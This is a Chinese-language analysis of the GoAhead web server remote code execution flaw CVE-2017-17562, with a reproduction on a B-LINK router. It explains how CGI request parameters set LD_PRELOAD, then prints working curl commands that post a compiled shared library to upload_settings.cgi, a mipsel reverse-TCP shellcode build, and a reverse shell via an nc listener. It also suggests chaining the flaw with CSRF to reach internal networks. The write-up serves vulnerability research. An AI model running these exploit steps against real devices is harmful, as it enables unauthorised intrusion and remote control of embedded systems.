GoAhead远程代码执行漏洞(CVE-2017-17562)分析及实战
前言
GoAhead Web Server 广泛应用于嵌入式设备中,最近其出现了一个高危漏洞,在开启CGI的情况下,可以远程代码执行,据此本文简要分析了该漏洞详情,并在某款路由器上成功复现,反弹shell。
漏洞分析
这个漏洞出现在goahead/src/cgi.c:cgihandler函数中,它使用http请求参数中的键值对来初始化新进程的envp参数,在此处只对“REMOTE_HOST”和“HTTP_AUTHORIZATION”参数进行了判断,其他参数全部默认信任。
随后,该函数又将子进程标准输入输出指定到了一个临时文件,而这个临时文件是由post请求的数据部分初始化的,最后launchCgi函数使用从http请求中得到的参数和标准输入输出创建了cgi脚本进程。
查看goahead的elf header可以得到其interp段依赖链接器“/lib64/ld-linux-x86-64.so.2”,动态链接器是在链接过程中最先运行的代码,它用来加载目标程序的共享库和符号表。
在链接器链接过程中会根据环境变量的值进行不同的操作,其中LD_PRELOAD变量可以指定一个共享库列表,链接器会优先加载此列表中共享库。
如果我们在http请求中指定LD_PRELOAD环境变量,此变量将被当作启动cgi脚本的参数传递给链接器,从而可以在cgi脚本启动之前执行任意.so文件,由于post请求中的数据被保存到/tmp文件夹中的一个临时文件中,而launchCgi函数又将cgi脚本的标准输入输出指定到了该临时文件,因此我们可以远程向目标写入一个.so文件,并将LD_PRELOAD指定为“/proc/self/fd/0”来间接引用post请求数据创建的临时文件,从而在目标系统上执行任意代码。
实战
调试设备
为了验证该漏洞的真实危害性,找了B-LINK的一款路由器来做测试,首先通过路由器上的UART串口,进入路由器的调试窗口。
查看web server 是否 goahead 并且有cgi程序。
漏洞验证
有四个cgi文件,找到一个能使用的upload_settings.cgi(需要登陆)
此路由器的系统为 mipsel,原作者没有给出mips小端格式的测试so,使用mipsel交叉编译Buildroot编译一个
1 | pentest@ubuntu:~/buildroot$ cat mipsel-hw.c |
测试
1 | curl -X POST -b "user=admin;platform=0" --data-binary @payloads/mipsel-hw.so http://192.168.16.1/cgi-bin/upload_settings.cgi?LD_PRELOAD=/proc/self/fd/0 -i |
回显成功,说明漏洞存在。
生成 payload
使用routesplite 生成一个mipsel 下的reverse_tcp shellcode 。
写入动态链接库中
1 | #include <stdio.h> |
Buildroot编译
1 | ./mipsel-linux-gcc -shared -fPIC mipsel-reverse-tcp.c -o mipsel-reverse-tcp.so |
反弹shell
本地 nc 监听 5555 端口,把生成的so文件post到目标
1 | curl -X POST -b "user=admin;platform=0" --data-binary @payloads/mipsel-reverse-tcp.so http://192.168.16.1/cgi-bin/upload_settings.cgi?LD_PRELOAD=/proc/self/fd/0 |
成功反弹shell
思考
- 在挖掘IOT设备应用层漏洞时,也需要去关注系统组件的安全。
- 如果goahead 的cgi 程序无需登录可以访问,可以直接配合csrf 打内网。
参考
- Remote LD_PRELOAD Exploitation https://www.elttam.com.au/blog/goahead
- routesplite https://github.com/reverse-shell/routersploit
- 硬件调试 http://future-sec.com/iot-security-hardware-debuging.html